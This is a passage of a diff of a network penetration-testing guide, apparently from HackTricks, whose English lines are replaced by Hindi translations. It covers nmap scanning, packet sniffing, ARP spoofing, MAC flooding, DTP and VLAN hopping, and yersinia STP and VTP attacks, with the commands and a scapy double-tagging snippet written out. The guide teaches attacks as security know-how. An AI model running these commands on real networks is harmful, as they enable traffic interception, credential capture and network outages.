ethernet packet of type 0x0847 wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9 ``` +## होस्ट स्कैनिंग -## Scanning Hosts - -Once you have discovered all the IPs (external or internal) you want to scan in depth, different actions can be performed. +एक बार जब आप सभी IPs (बाहरी या आंतरिक) का पता लगा लेते हैं जिन्हें आप गहराई से स्कैन करना चाहते हैं, तो विभिन्न क्रियाएँ की जा सकती हैं। ### TCP -- **Open** port: _SYN --> SYN/ACK --> RST_ -- **Closed** port: _SYN --> RST/ACK_ -- **Filtered** port: _SYN --> \[NO RESPONSE]_ -- **Filtered** port: _SYN --> ICMP message_ - +- **खुला** पोर्ट: _SYN --> SYN/ACK --> RST_ +- **बंद** पोर्ट: _SYN --> RST/ACK_ +- **फिल्टर किया गया** पोर्ट: _SYN --> \[NO RESPONSE]_ +- **फिल्टर किया गया** पोर्ट: _SYN --> ICMP संदेश_ ```bash # Nmap fast scan for the most 1000tcp ports used nmap -sV -sC -O -T4 -n -Pn -oA fastscan @@ -156,16 +136,14 @@ nmap -sV -sC -O -p- -n -Pn -oA fullscan #Bettercap Scan syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000 ``` - ### UDP -There are 2 options to scan an UDP port: +UDP पोर्ट को स्कैन करने के लिए 2 विकल्प हैं: -- Send a **UDP packet** and check for the response _**ICMP unreachable**_ if the port is **closed** (in several cases ICMP will be **filtered** so you won't receive any information inf the port is close or open). -- Send a **formatted datagrams** to elicit a response from a **service** (e.g., DNS, DHCP, TFTP, and others, as listed in _nmap-payloads_). If you receive a **response**, then, the port is **open**. - -**Nmap** will **mix both** options using "-sV" (UDP scans are very slow), but notice that UDP scans are slower than TCP scans: +- एक **UDP पैकेट** भेजें और यदि पोर्ट **बंद** है तो _**ICMP अप्राप्य**_ के लिए प्रतिक्रिया की जांच करें (कई मामलों में ICMP **फिल्टर** किया जाएगा इसलिए आपको यह जानकारी नहीं मिलेगी कि पोर्ट बंद है या खुला)। +- एक **फॉर्मेटेड डेटाग्राम** भेजें ताकि एक **सेवा** (जैसे, DNS, DHCP, TFTP, और अन्य, जो _nmap-payloads_ में सूचीबद्ध हैं) से प्रतिक्रिया प्राप्त की जा सके। यदि आपको एक **प्रतिक्रिया** मिलती है, तो पोर्ट **खुला** है। +**Nmap** "-sV" का उपयोग करके दोनों विकल्पों को **मिश्रित** करेगा (UDP स्कैन बहुत धीमे होते हैं), लेकिन ध्यान दें कि UDP स्कैन TCP स्कैन की तुलना में धीमे होते हैं: ```bash # Check if any of the most common udp services is running udp-proto-scanner.pl @@ -177,38 +155,34 @@ nmap -sU -sV -sC -n -F -T4 nmap -sU -sV --version-intensity 0 -n -T4 # You could use nmap to test all the UDP ports, but that will take a lot of time ``` - ### SCTP Scan -**SCTP (Stream Control Transmission Protocol)** is designed to be used alongside **TCP (Transmission Control Protocol)** and **UDP (User Datagram Protocol)**. Its main purpose is to facilitate the transport of telephony data over IP networks, mirroring many of the reliability features found in **Signaling System 7 (SS7)**. **SCTP** is a core component of the **SIGTRAN** protocol family, which aims to transport SS7 signals over IP networks. +**SCTP (Stream Control Transmission Protocol)** को **TCP (Transmission Control Protocol)** और **UDP (User Datagram Protocol)** के साथ उपयोग करने के लिए डिज़ाइन किया गया है। इसका मुख्य उद्देश्य IP नेटवर्क पर टेलीफोनी डेटा के परिवहन को सुविधाजनक बनाना है, जो **Signaling System 7 (SS7)** में पाए जाने वाले कई विश्वसनीयता सुविधाओं को दर्शाता है। **SCTP** **SIGTRAN** प्रोटोकॉल परिवार का एक मुख्य घटक है, जिसका उद्देश्य IP नेटवर्क पर SS7 संकेतों का परिवहन करना है। -The support for **SCTP** is provided by various operating systems, such as **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS**, and **VxWorks**, indicating its broad acceptance and utility in the field of telecommunication and networking. - -Two different scans for SCTP are offered by nmap: _-sY_ and _-sZ_ +**SCTP** के लिए समर्थन विभिन्न ऑपरेटिंग सिस्टम द्वारा प्रदान किया जाता है, जैसे **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS**, और **VxWorks**, जो टेली संचार और नेटवर्किंग के क्षेत्र में इसकी व्यापक स्वीकृति और उपयोगिता को दर्शाता है। +nmap द्वारा SCTP के लिए दो अलग-अलग स्कैन प्रदान किए जाते हैं: _-sY_ और _-sZ_ ```bash # Nmap fast SCTP scan nmap -T4 -sY -n -oA SCTFastScan # Nmap all SCTP scan nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan ``` - -### IDS and IPS evasion +### IDS और IPS से बचाव {{#ref}} ids-evasion.md {{#endref}} -### **More nmap options** +### **अधिक nmap विकल्प** {{#ref}} nmap-summary-esp.md {{#endref}} -### Revealing Internal IP Addresses - -**Misconfigured routers, firewalls, and network devices** sometimes respond to network probes using **nonpublic source addresses**. **tcpdump** can be utilized to identify packets received from private addresses during testing. Specifically, on Kali Linux, packets can be captured on the **eth2 interface**, which is accessible from the public Internet. It's important to note that if your setup is behind a NAT or a Firewall, such packets are likely to be filtered out. +### आंतरिक IP पतों का खुलासा +**गलत कॉन्फ़िगर किए गए राउटर, फ़ायरवॉल और नेटवर्क उपकरण** कभी-कभी **गैर-जनता स्रोत पतों** का उपयोग करके नेटवर्क प्रॉब्स का उत्तर देते हैं। **tcpdump** का उपयोग परीक्षण के दौरान निजी पतों से प्राप्त पैकेट्स की पहचान करने के लिए किया जा सकता है। विशेष रूप से, Kali Linux पर, पैकेट्स को **eth2 इंटरफ़ेस** पर कैप्चर किया जा सकता है, जो सार्वजनिक इंटरनेट से सुलभ है। यह ध्यान रखना महत्वपूर्ण है कि यदि आपकी सेटअप NAT या फ़ायरवॉल के पीछे है, तो ऐसे पैकेट्स को फ़िल्टर किया जा सकता है। ```bash tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode @@ -216,30 +190,24 @@ listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64 IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64 ``` - ## Sniffing -Sniffing you can learn details of IP ranges, subnet sizes, MAC addresses, and hostnames by reviewing captured frames and packets. If the network is misconfigured or switching fabric under stress, attackers can capture sensitive material via passive network sniffing. +Sniffing के माध्यम से आप कैप्चर किए गए फ्रेम और पैकेट की समीक्षा करके IP रेंज, सबनेट आकार, MAC पते और होस्टनाम के विवरण जान सकते हैं। यदि नेटवर्क गलत तरीके से कॉन्फ़िगर किया गया है या स्विचिंग फैब्रिक पर तनाव है, तो हमलावर पासिव नेटवर्क स्निफ़िंग के माध्यम से संवेदनशील सामग्री कैप्चर कर सकते हैं। -If a switched Ethernet network is configured properly, you will only see broadcast frames and material destined for your MAC address. +यदि एक स्विच किया गया ईथरनेट नेटवर्क सही तरीके से कॉन्फ़िगर किया गया है, तो आप केवल ब्रॉडकास्ट फ्रेम और अपने MAC पते के लिए निर्धारित सामग्री देखेंगे। ### TCPDump - ```bash sudo tcpdump -i udp port 53 #Listen to DNS request to discover what is searching the host tcpdump -i icmp #Listen to icmp packets sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &" ``` - -One can, also, capture packets from a remote machine over an SSH session with Wireshark as the GUI in realtime. - +आप एक SSH सत्र के माध्यम से Wireshark का उपयोग करके रीयलटाइम में एक दूरस्थ मशीन से पैकेट कैप्चर कर सकते हैं। ``` ssh user@ tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i - ssh @ tcpdump -i -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic ``` - ### Bettercap - ```bash net.sniff on net.sniff stats @@ -248,23 +216,21 @@ set net.sniff.local #If true it will consider packets from/to this computer, ot set net.sniff.filter #BPF filter for the sniffer (default=not arp) set net.sniff.regexp #If set only packets matching this regex will be considered ``` - ### Wireshark -Obviously. +स्पष्ट रूप से। ### Capturing credentials -You can use tools like [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) to parse credentials from a pcap or a live interface. +आप [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) जैसे टूल का उपयोग करके pcap या लाइव इंटरफेस से क्रेडेंशियल्स को पार्स कर सकते हैं। ## LAN attacks ### ARP spoofing -ARP Spoofing consist on sending gratuitous ARPResponses to indicate that the IP of a machine has the MAC of our device. Then, the victim will change the ARP table and will contact our machine every time it wants to contact the IP spoofed. +ARP Spoofing में बिना किसी कारण के ARPResponses भेजना शामिल है ताकि यह संकेत दिया जा सके कि एक मशीन का IP हमारे डिवाइस के MAC के साथ है। फिर, पीड़ित ARP तालिका को बदल देगा और हर बार जब वह IP spoofed से संपर्क करना चाहता है, तो वह हमारी मशीन से संपर्क करेगा। #### **Bettercap** - ```bash arp.spoof on set arp.spoof.targets #Specific targets to ARP spoof (default=) @@ -272,37 +238,31 @@ set arp.spoof.whitelist #Specific targets to skip while spoofing set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false) set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false) ``` - #### **Arpspoof** - ```bash echo 1 > /proc/sys/net/ipv4/ip_forward arpspoof -t 192.168.1.1 192.168.1.2 arpspoof -t 192.168.1.2 192.168.1.1 ``` - ### MAC Flooding - CAM overflow -Overflow the switch’s CAM table sending a lot of packets with different source mac address. When the CAM table is full the switch start behaving like a hub (broadcasting all the traffic). - +स्विच के CAM तालिका को ओवरफ्लो करें, विभिन्न स्रोत मैक पते के साथ बहुत सारे पैकेट भेजकर। जब CAM तालिका भर जाती है, तो स्विच हब की तरह व्यवहार करना शुरू कर देता है (सभी ट्रैफ़िक को ब्रॉडकास्ट करना)। ```bash macof -i ``` +इस आधुनिक स्विच में यह सुरक्षा कमी ठीक कर दी गई है। -In modern switches this vulnerability has been fixed. +### 802.1Q VLAN / DTP हमले -### 802.1Q VLAN / DTP Attacks +#### डायनामिक ट्रंकिंग -#### Dynamic Trunking +**डायनामिक ट्रंकिंग प्रोटोकॉल (DTP)** को एक लिंक लेयर प्रोटोकॉल के रूप में डिज़ाइन किया गया है ताकि ट्रंकिंग के लिए एक स्वचालित प्रणाली को सुगम बनाया जा सके, जिससे स्विच ट्रंक मोड (Trunk) या नॉन-ट्रंक मोड के लिए पोर्ट का स्वचालित चयन कर सकें। **DTP** का उपयोग अक्सर उप-आदर्श नेटवर्क डिज़ाइन का संकेत माना जाता है, जो केवल आवश्यकतानुसार ट्रंक को मैन्युअल रूप से कॉन्फ़िगर करने और उचित दस्तावेज़ीकरण सुनिश्चित करने के महत्व को उजागर करता है। -The **Dynamic Trunking Protocol (DTP)** is designed as a link layer protocol to facilitate an automatic system for trunking, allowing switches to automatically select ports for trunk mode (Trunk) or non-trunk mode. The deployment of **DTP** is often seen as indicative of suboptimal network design, underscoring the importance of manually configuring trunks only where necessary and ensuring proper documentation. +डिफ़ॉल्ट रूप से, स्विच पोर्ट को डायनामिक ऑटो मोड में संचालित करने के लिए सेट किया गया है, जिसका अर्थ है कि वे पड़ोसी स्विच द्वारा संकेत मिलने पर ट्रंकिंग शुरू करने के लिए तैयार हैं। एक सुरक्षा चिंता तब उत्पन्न होती है जब एक pentester या हमलावर स्विच से कनेक्ट होता है और एक DTP Desirable फ्रेम भेजता है, जिससे पोर्ट ट्रंक मोड में प्रवेश करता है। यह क्रिया हमलावर को STP फ्रेम विश्लेषण के माध्यम से VLANs की गणना करने और वर्चुअल इंटरफेस सेट करके VLAN विभाजन को दरकिनार करने की अनुमति देती है। -By default, switch ports are set to operate in Dynamic Auto mode, meaning they are ready to initiate trunking if prompted by a neighboring switch. A security concern arises when a pentester or attacker connects to the switch and sends a DTP Desirable frame, compelling the port to enter trunk mode. This action enables the attacker to enumerate VLANs through STP frame analysis and circumvent VLAN segmentation by setting up virtual interfaces. - -The presence of DTP in many switches by default can be exploited by adversaries to mimic a switch's behavior, thereby gaining access to traffic across all VLANs. The script [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) is utilized to monitor an interface, revealing whether a switch is in Default, Trunk, Dynamic, Auto, or Access mode—the latter being the only configuration immune to VLAN hopping attacks. This tool assesses the switch's vulnerability status. - -Should network vulnerability be identified, the _**Yersinia**_ tool can be employed to "enable trunking" via the DTP protocol, allowing for the observation of packets from all VLANs. +कई स्विच में डिफ़ॉल्ट रूप से DTP की उपस्थिति का उपयोग प्रतिकूलों द्वारा स्विच के व्यवहार की नकल करने के लिए किया जा सकता है, जिससे सभी VLANs के बीच ट्रैफ़िक तक पहुंच प्राप्त होती है। स्क्रिप्ट [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) का उपयोग एक इंटरफेस की निगरानी के लिए किया जाता है, यह प्रकट करता है कि स्विच डिफ़ॉल्ट, ट्रंक, डायनामिक, ऑटो, या एक्सेस मोड में है—जिसमें से केवल एक्सेस मोड VLAN हॉपिंग हमलों के प्रति प्रतिरक्षित है। यह उपकरण स्विच की सुरक्षा स्थिति का आकलन करता है। +यदि नेटवर्क की सुरक्षा कमी पहचानी जाती है, तो _**Yersinia**_ उपकरण का उपयोग DTP प्रोटोकॉल के माध्यम से "ट्रंकिंग सक्षम करने" के लिए किया जा सकता है, जिससे सभी VLANs से पैकेटों का अवलोकन किया जा सके। ```bash apt-get install yersinia #Installation sudo apt install kali-linux-large #Another way to install it in Kali @@ -313,26 +273,22 @@ yersinia -I #Interactive mode yersinia -G #For graphic mode ``` - ![](<../../images/image (269).png>) -To enumerate the VLANs it's also possible to generate the DTP Desirable frame with the script [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. D**o not interrupt the script under any circumstances. It injects DTP Desirable every three seconds. **The dynamically created trunk channels on the switch only live for five minutes. After five minutes, the trunk falls off.** - +VLANs की गणना करने के लिए, DTP Desirable फ्रेम को स्क्रिप्ट [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)** के साथ उत्पन्न करना भी संभव है। **कृपया किसी भी परिस्थिति में स्क्रिप्ट को बाधित न करें। यह हर तीन सेकंड में DTP Desirable इंजेक्ट करता है। **स्विच पर गतिशील रूप से बनाए गए ट्रंक चैनल केवल पांच मिनट तक जीवित रहते हैं। पांच मिनट बाद, ट्रंक गिर जाता है।** ``` sudo python3 DTPHijacking.py --interface eth0 ``` +मैं यह बताना चाहूंगा कि **Access/Desirable (0x03)** यह संकेत करता है कि DTP फ्रेम Desirable प्रकार का है, जो पोर्ट को Trunk मोड में स्विच करने के लिए कहता है। और **802.1Q/802.1Q (0xa5)** **802.1Q** एनकैप्सुलेशन प्रकार को दर्शाता है। -I would like to point out that **Access/Desirable (0x03)** indicates that the DTP frame is of the Desirable type, which tells the port to switch to Trunk mode. And **802.1Q/802.1Q (0xa5**) indicates the **802.1Q** encapsulation type. - -By analyzing the STP frames, **we learn about the existence of VLAN 30 and VLAN 60.** +STP फ्रेम का विश्लेषण करके, **हम VLAN 30 और VLAN 60 के अस्तित्व के बारे में सीखते हैं।**
-#### Attacking specific VLANs - -Once you known VLAN IDs and IPs values, you can **configure a virtual interface to attack a specific VLAN**.\ -If DHCP is not available, then use _ifconfig_ to set a static IP address. +#### विशिष्ट VLAN पर हमला करना +एक बार जब आप VLAN IDs और IPs मानों को जान लेते हैं, तो आप **एक विशिष्ट VLAN पर हमला करने के लिए एक वर्चुअल इंटरफेस कॉन्फ़िगर कर सकते हैं।**\ +यदि DHCP उपलब्ध नहीं है, तो स्थिर IP पता सेट करने के लिए _ifconfig_ का उपयोग करें। ``` root@kali:~# modprobe 8021q root@kali:~# vconfig add eth1 250 @@ -341,13 +297,13 @@ root@kali:~# dhclient eth1.250 Reloading /etc/samba/smb.conf: smbd only. root@kali:~# ifconfig eth1.250 eth1.250 Link encap:Ethernet HWaddr 00:0e:c6:f0:29:65 - inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0 - inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link - UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 - RX packets:19 errors:0 dropped:0 overruns:0 frame:0 - TX packets:13 errors:0 dropped:0 overruns:0 carrier:0 - collisions:0 txqueuelen:0 - RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB) +inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0 +inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link +UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 +RX packets:19 errors:0 dropped:0 overruns:0 frame:0 +TX packets:13 errors:0 dropped:0 overruns:0 carrier:0 +collisions:0 txqueuelen:0 +RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB) root@kali:~# arp-scan -I eth1.250 10.121.5.0/24 ``` @@ -365,31 +321,28 @@ sudo vconfig add eth0 30 sudo ip link set eth0.30 up sudo dhclient -v eth0.30 ``` - #### Automatic VLAN Hopper -The discussed attack of **Dynamic Trunking and creating virtual interfaces an discovering hosts inside** other VLANs are **automatically performed** by the tool: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger) +चर्चा की गई हमले **Dynamic Trunking और वर्चुअल इंटरफेस बनाना और अन्य VLANs के अंदर होस्ट का पता लगाना** को उपकरण द्वारा **स्वचालित रूप से किया जाता है**: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger) #### Double Tagging -If an attacker knows the value of the **MAC, IP and VLAN ID of the victim host**, he could try to **double tag a frame** with its designated VLAN and the VLAN of the victim and send a packet. As the **victim won't be able to connect back** with the attacker, so the **best option for the attacker is communicate via UDP** to protocols that can perform some interesting actions (like SNMP). +यदि एक हमलावर को **शिकार होस्ट का MAC, IP और VLAN ID** का मान पता है, तो वह **फ्रेम को डबल टैग** करने की कोशिश कर सकता है जिसमें इसका निर्दिष्ट VLAN और शिकार का VLAN हो और एक पैकेट भेज सकता है। चूंकि **शिकार हमलावर के साथ वापस कनेक्ट नहीं हो पाएगा**, इसलिए **हमलावर के लिए सबसे अच्छा विकल्प UDP के माध्यम से संवाद करना है** उन प्रोटोकॉल के लिए जो कुछ दिलचस्प क्रियाएँ कर सकते हैं (जैसे SNMP)। -Another option for the attacker is to launch a **TCP port scan spoofing an IP controlled by the attacker and accessible by the victim** (probably through internet). Then, the attacker could sniff in the second host owned by him if it receives some packets from the victim. +हमलावर के लिए एक और विकल्प है **TCP पोर्ट स्कैन लॉन्च करना, एक IP को स्पूफ करना जो हमलावर द्वारा नियंत्रित है और शिकार द्वारा सुलभ है** (संभवतः इंटरनेट के माध्यम से)। फिर, हमलावर अपने दूसरे होस्ट में स्निफ कर सकता है यदि उसे शिकार से कुछ पैकेट मिलते हैं। ![](<../../images/image (190).png>) -To perform this attack you could use scapy: `pip install scapy` - +इस हमले को करने के लिए आप scapy का उपयोग कर सकते हैं: `pip install scapy` ```python from scapy.all import * # Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker) packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP() sendp(packet) ``` - #### Lateral VLAN Segmentation Bypass -If you have **access to a switch that you are directly connected to**, you have the ability to **bypass VLAN segmentation** within the network. Simply **switch the port to trunk mode** (otherwise known as trunk), create virtual interfaces with the IDs of the target VLANs, and configure an IP address. You can try requesting the address dynamically (DHCP) or you can configure it statically. It depends on the case. +यदि आपके पास **एक स्विच तक पहुंच है जिससे आप सीधे जुड़े हुए हैं**, तो आपके पास नेटवर्क के भीतर **VLAN विभाजन को बायपास करने** की क्षमता है। बस **पोर्ट को ट्रंक मोड में स्विच करें** (जिसे ट्रंक के रूप में भी जाना जाता है), लक्षित VLANs के IDs के साथ वर्चुअल इंटरफेस बनाएं, और एक IP पता कॉन्फ़िगर करें। आप पता को गतिशील रूप से (DHCP) मांगने की कोशिश कर सकते हैं या आप इसे स्थिर रूप से कॉन्फ़िगर कर सकते हैं। यह मामले पर निर्भर करता है। {{#ref}} lateral-vlan-segmentation-bypass.md @@ -397,143 +350,126 @@ lateral-vlan-segmentation-bypass.md #### Layer 3 Private VLAN Bypass -In certain environments, such as guest wireless networks, **port isolation (also known as private VLAN)** settings are implemented to prevent clients connected to a wireless access point from directly communicating with each other. However, a technique has been identified that can circumvent these isolation measures. This technique exploits either the lack of network ACLs or their improper configuration, enabling IP packets to be routed through a router to reach another client on the same network. +कुछ वातावरणों में, जैसे कि अतिथि वायरलेस नेटवर्क, **पोर्ट आइसोलेशन (जिसे प्राइवेट VLAN भी कहा जाता है)** सेटिंग्स लागू की जाती हैं ताकि वायरलेस एक्सेस पॉइंट से जुड़े क्लाइंट एक-दूसरे के साथ सीधे संवाद न कर सकें। हालाँकि, एक तकनीक पहचानी गई है जो इन आइसोलेशन उपायों को बायपास कर सकती है। यह तकनीक या तो नेटवर्क ACLs की कमी का लाभ उठाती है या उनकी गलत कॉन्फ़िगरेशन का, जिससे IP पैकेट को एक राउटर के माध्यम से रूट किया जा सकता है ताकि उसी नेटवर्क पर एक अन्य क्लाइंट तक पहुंचा जा सके। -The attack is executed by creating a **packet that carries the IP address of the destination client but with the router's MAC address**. This causes the router to mistakenly forward the packet to the target client. This approach is similar to that used in Double Tagging Attacks, where the ability to control a host accessible to the victim is used to exploit the security flaw. +हमला एक **पैकेट बनाकर निष्पादित किया जाता है जो लक्ष्य क्लाइंट का IP पता ले जाता है लेकिन राउटर का MAC पता होता है**। इससे राउटर गलती से पैकेट को लक्षित क्लाइंट की ओर अग्रेषित कर देता है। यह दृष्टिकोण डबल टैगिंग हमलों में उपयोग की जाने वाली विधि के समान है, जहां पीड़ित के लिए सुलभ एक होस्ट को नियंत्रित करने की क्षमता का उपयोग सुरक्षा दोष का लाभ उठाने के लिए किया जाता है। -**Key Steps of the Attack:** +**हमले के मुख्य चरण:** -1. **Crafting a Packet:** A packet is specially crafted to include the target client's IP address but with the router's MAC address. -2. **Exploiting Router Behavior:** The crafted packet is sent up to the router, which, due to the configuration, redirects the packet to the target client, bypassing the isolation provided by private VLAN settings. +1. **पैकेट बनाना:** एक पैकेट विशेष रूप से लक्षित क्लाइंट के IP पते को शामिल करने के लिए तैयार किया जाता है लेकिन राउटर के MAC पते के साथ। +2. **राउटर व्यवहार का लाभ उठाना:** तैयार पैकेट राउटर की ओर भेजा जाता है, जो कॉन्फ़िगरेशन के कारण पैकेट को लक्षित क्लाइंट की ओर अग्रेषित करता है, प्राइवेट VLAN सेटिंग्स द्वारा प्रदान की गई आइसोलेशन को बायपास करता है। ### VTP Attacks -VTP (VLAN Trunking Protocol) centralizes VLAN management. It utilizes revision numbers to maintain VLAN database integrity; any modification increments this number. Switches adopt configurations with higher revision numbers, updating their own VLAN databases. +VTP (VLAN ट्रंकिंग प्रोटोकॉल) VLAN प्रबंधन को केंद्रीकृत करता है। यह VLAN डेटाबेस की अखंडता बनाए रखने के लिए संशोधन नंबरों का उपयोग करता है; किसी भी संशोधन से यह संख्या बढ़ जाती है। स्विच उच्च संशोधन नंबरों के साथ कॉन्फ़िगरेशन अपनाते हैं, अपने स्वयं के VLAN डेटाबेस को अपडेट करते हैं। -#### VTP Domain Roles +#### VTP डोमेन भूमिकाएँ -- **VTP Server:** Manages VLANs—creates, deletes, modifies. It broadcasts VTP announcements to domain members. -- **VTP Client:** Receives VTP announcements to synchronize its VLAN database. This role is restricted from local VLAN configuration modifications. -- **VTP Transparent:** Doesn't engage in VTP updates but forwards VTP announcements. Unaffected by VTP attacks, it maintains a constant revision number of zero. +- **VTP सर्वर:** VLANs का प्रबंधन करता है—बनाता है, हटाता है, संशोधित करता है। यह डोमेन सदस्यों को VTP घोषणाएँ प्रसारित करता है। +- **VTP क्लाइंट:** अपने VLAN डेटाबेस को समन्वयित करने के लिए VTP घोषणाएँ प्राप्त करता है। इस भूमिका को स्थानीय VLAN कॉन्फ़िगरेशन संशोधनों से प्रतिबंधित किया गया है। +- **VTP ट्रांसपेरेंट:** VTP अपडेट में भाग नहीं लेता लेकिन VTP घोषणाओं को अग्रेषित करता है। VTP हमलों से अप्रभावित, यह शून्य का एक स्थायी संशोधन नंबर बनाए रखता है। -#### VTP Advertisement Types +#### VTP विज्ञापन प्रकार -- **Summary Advertisement:** Broadcasted by the VTP server every 300 seconds, carrying essential domain information. -- **Subset Advertisement:** Sent following VLAN configuration changes. -- **Advertisement Request:** Issued by a VTP client to request a Summary Advertisement, typically in response to detecting a higher configuration revision number. +- **सारांश विज्ञापन:** VTP सर्वर द्वारा हर 300 सेकंड में प्रसारित किया जाता है, जो आवश्यक डोमेन जानकारी ले जाता है। +- **उपसमुच्चय विज्ञापन:** VLAN कॉन्फ़िगरेशन परिवर्तनों के बाद भेजा जाता है। +- **विज्ञापन अनुरोध:** एक VTP क्लाइंट द्वारा सारांश विज्ञापन का अनुरोध करने के लिए जारी किया जाता है, आमतौर पर उच्च कॉन्फ़िगरेशन संशोधन संख्या का पता लगाने के जवाब में। -VTP vulnerabilities are exploitable exclusively via trunk ports as VTP announcements circulate solely through them. Post-DTP attack scenarios might pivot towards VTP. Tools like Yersinia can facilitate VTP attacks, aiming to wipe out the VLAN database, effectively disrupting the network. - -Note: This discussion pertains to VTP version 1 (VTPv1). +VTP कमजोरियाँ केवल ट्रंक पोर्ट के माध्यम से ही उपयोग की जा सकती हैं क्योंकि VTP घोषणाएँ केवल उनके माध्यम से प्रसारित होती हैं। DTP हमले के बाद के परिदृश्यों में VTP की ओर मुड़ने की संभावना हो सकती है। Yersinia जैसे उपकरण VTP हमलों को सुविधाजनक बना सकते हैं, VLAN डेटाबेस को मिटाने के उद्देश्य से, प्रभावी रूप से नेटवर्क को बाधित करते हैं। +नोट: यह चर्चा VTP संस्करण 1 (VTPv1) से संबंधित है। ````bash %% yersinia -G # Launch Yersinia in graphical mode ``` ```` +Yersinia के ग्राफिकल मोड में, VLAN डेटाबेस को साफ़ करने के लिए सभी VTP VLANs को हटाने का विकल्प चुनें। -In Yersinia's graphical mode, choose the deleting all VTP vlans option to purge the VLAN database. +### STP हमले -### STP Attacks - -**If you cannot capture BPDU frames on your interfaces, it is unlikely that you will succeed in an STP attack.** +**यदि आप अपने इंटरफेस पर BPDU फ्रेम कैप्चर नहीं कर सकते हैं, तो संभावना कम है कि आप STP हमले में सफल होंगे।** #### **STP BPDU DoS** -Sending a lot of BPDUs TCP (Topology Change Notification) or Conf (the BPDUs that are sent when the topology is created) the switches are overloaded and stop working correctly. - +कई BPDUs TCP (Topology Change Notification) या Conf (वे BPDUs जो तब भेजे जाते हैं जब टोपोलॉजी बनाई जाती है) भेजने से स्विच ओवरलोड हो जाते हैं और सही तरीके से काम करना बंद कर देते हैं। ```bash yersinia stp -attack 2 yersinia stp -attack 3 #Use -M to disable MAC spoofing ``` +#### **STP TCP हमला** -#### **STP TCP Attack** - -When a TCP is sent, the CAM table of the switches will be deleted in 15s. Then, if you are sending continuously this kind of packets, the CAM table will be restarted continuously (or every 15segs) and when it is restarted, the switch behaves as a hub - +जब एक TCP भेजा जाता है, तो स्विच का CAM तालिका 15 सेकंड में हटा दिया जाएगा। फिर, यदि आप लगातार इस प्रकार के पैकेट भेज रहे हैं, तो CAM तालिका लगातार (या हर 15 सेकंड में) पुनः प्रारंभ होगी और जब यह पुनः प्रारंभ होती है, तो स्विच एक हब की तरह व्यवहार करता है। ```bash yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen ``` +#### **STP रूट अटैक** -#### **STP Root Attack** - -The attacker simulates the behaviour of a switch to become the STP root of the network. Then, more data will pass through him. This is interesting when you are connected to two different switches.\ -This is done by sending BPDUs CONF packets saying that the **priority** value is less than the actual priority of the actual root switch. - +हमलावर स्विच के व्यवहार का अनुकरण करता है ताकि वह नेटवर्क का STP रूट बन सके। फिर, अधिक डेटा उसके माध्यम से गुजरेगा। यह तब दिलचस्प होता है जब आप दो अलग-अलग स्विचों से जुड़े होते हैं।\ +यह BPDUs CONF पैकेट भेजकर किया जाता है जिसमें कहा जाता है कि **प्राथमिकता** मान वास्तविक रूट स्विच की वास्तविक प्राथमिकता से कम है। ```bash yersinia stp -attack 4 #Behaves like the root switch yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root ``` - -**If the attacker is connected to 2 switches he can be the root of the new tree and all the traffic between those switches will pass through him** (a MITM attack will be performed). - +**यदि हमलावर 2 स्विचों से जुड़े हैं, तो वह नए पेड़ की जड़ बन सकता है और उन स्विचों के बीच सभी ट्रैफ़िक उसके माध्यम से गुजरेगा** (एक MITM हमला किया जाएगा)। ```bash yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing" ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages ``` +### CDP हमले -### CDP Attacks +CISCO Discovery Protocol (CDP) CISCO उपकरणों के बीच संचार के लिए आवश्यक है, जिससे वे **एक-दूसरे की पहचान कर सकें और कॉन्फ़िगरेशन विवरण साझा कर सकें**। -CISCO Discovery Protocol (CDP) is essential for communication between CISCO devices, allowing them to **identify each other and share configuration details**. +#### पैसिव डेटा संग्रह -#### Passive Data Collection +CDP को सभी पोर्ट्स के माध्यम से जानकारी प्रसारित करने के लिए कॉन्फ़िगर किया गया है, जो सुरक्षा जोखिम का कारण बन सकता है। एक हमलावर, जब एक स्विच 